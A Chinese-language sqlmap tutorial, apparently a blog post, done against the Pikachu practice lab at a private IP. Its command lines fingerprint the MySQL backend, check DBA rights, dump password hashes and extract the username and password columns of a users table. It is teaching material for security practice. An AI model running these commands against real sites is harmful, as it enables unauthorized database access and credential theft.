文中通过详细讲解SQLMAP工具,更加深入的掌握SQLMAP用法;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
sqlmap实战渗透技巧一
前篇我们说到,当看到是php,那么我们基本可以确定为mysql数据库和它的组合,同样可以在执行过程中使用–batch来自动交互,不用手动在终端里面进行确认。加上-f这个参数则可以看到数据库的版本。
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -f --batch
检测当前用户权限
在检测中,我们同样可以加入参数来对当前数据库,当前用户,是否是dba权限,来进行检测:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -f --batch --current-db --current-user --is-dba
爆破数据库密码
同样我们也可以通过命令来爆破数据库密码:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -f --batch --passwords
使用命令获取数据库信息
获取所有库:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --dbs
获取所有库,所有表:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --dbs --tables
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu --tables #获取pikachu库的所有表
获取所有表中的所有字段:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -dbs --tables --columns
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users --columns #获取某个库某个表的所有字段
获取字段内容:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users -C "username,password" --dump
这里同样可以直接使用下面这命令即可把字段内容导出:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users --dump
--count #此参数统计表中有多少条字段。
--start # 开始的条数
--stop #结束的条数
假如我们只需要第二条,则可以从第二条开始,然后第二条结束:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users --dump --flush-session --batch --start 2 --stop 2